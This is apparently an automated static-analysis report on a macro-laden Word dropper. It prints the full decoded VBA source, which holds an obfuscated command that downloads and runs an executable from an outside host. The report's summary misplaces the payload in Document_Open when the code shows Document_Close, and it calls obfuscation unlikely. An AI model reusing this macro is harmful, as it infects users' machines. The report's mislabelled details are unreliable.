Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 e192c87072de321a…

MALICIOUS

Office (OOXML)

61.8 KB Created: 2017-11-23 12:47:00 UTC Authoring application: Microsoft Office Word 14.0000 First seen: 2019-04-18
MD5: 3974f65ad10cb0f98f88cbefccb12d6a SHA-1: 44bcaaeda395e40e9b8a2f6654268d8a781d19fc SHA-256: e192c87072de321abd224a30c571207d986b882ec662da9c4ddf1b83d407eaa7
270 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment

The sample is a malicious OOXML document containing VBA macros, specifically a Document_Open macro that executes code. The script attempts to download and execute a second-stage payload by reconstructing a URL and using CreateObject to run it. This behavior is indicative of a dropper malware.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6398851-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6398851-0
  • VBA project inside OOXML medium 4 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/markup-compatibility/2006In document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/officeDocument/2006/mathIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingIn document text (OOXML body / shared strings)
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2006/wordmlIn document text (OOXML body / shared strings)
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeIn document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1781 bytes
SHA-256: 52bbb575d415bd6ad966d1d9f2805d25ccb8cd259b0c6104b13716ad8a992d10
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Public lspAhvxv As String
Private Sub Document_Close()
MsgBox "Copyright by Microsoft"
Dim iigLxEhgMX, iwuBmgVOIJ, ahieUg As String
Dim jtqTKDRXQm(1 To 5) As String
jtqTKDRXQm(1) = "kZeZlELTNQ"
jtqTKDRXQm(2) = "qtHuwNHdJPAtly"
jtqTKDRXQm(3) = "eBFUrd"
jtqTKDRXQm(4) = "oJXEnWqnknAil"
jtqTKDRXQm(5) = "ihZfhqZjS"
iigLxEhgMX = "fpg1h{h#2f#SrzhuVkhoo1h{h#0Frppdqg#+qhz0remhfw#V|vwhp1Qhw1ZheFolhqw,1GrzqordgIloh+*kwwsv=22dsdshuqrwlrq1frp2zs0lqfoxghv2Wh{w2uhg1sks*/*(dssgdwd(_{|KV}1h{h*,>#^V|vwhp1Gldjqrvwlfv1Surfhvv`==Vwduw+*(dssgdwd(_{|KV}1h{h*,"
lspAhvxv = Environ$("computername")
If lspAhvxv Like "gdu" Then
ahieUg = "hey"
Else
ahieUg = "rt543"
iwuBmgVOIJ = Replace(iwuBmgVOIJ, ahieUg, "a")
For i = 1 To Len(iigLxEhgMX)
iwuBmgVOIJ = iwuBmgVOIJ + Chr(Asc(Mid(iigLxEhgMX, i, Mid(CStr(Year(Now)), 3, 1))) - 3)
Next i
jtqTKDRXQm(2) = iwuBmgVOIJ
aFKuVmp (jtqTKDRXQm(Mid(CStr(Year(Now)), 1, 1)))
End If
End Sub
Public Function iKKsZh(xfyiF As String)
Call CreateObject(Application.Run("sEGOQF")).Run(xfyiF, (9893 - 9893))
End Function
Public Function aFKuVmp(lyGQ As String)
Dim tQxWfm(1 To 5) As String
tQxWfm(5) = "iKKsZh"
tQxWfm(2) = "lnVIZ"
Call Application.Run(Replace(tQxWfm(5) + tQxWfm(2), "lnVIZ", ""), lyGQ)
End Function
Public Function sEGOQF()
sEGOQF = Trim(StrReverse(Replace("tpircsTruta", "Truta", "w")) & Replace("Vborhahell", "Vborha", ".S"))
End Function

Private Sub Document_Open()
 ActiveDocument.Shapes("panel").Visible = msoFalse
 End Sub
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 12288 bytes
SHA-256: b9674e26b8ec292ee62923b5a7b7637ad65cf6eb8cf7e1f4f6f94eb7d9e7ea1f
Detection
ClamAV: Doc.Dropper.Agent-6398851-0
Obfuscation or payload: unlikely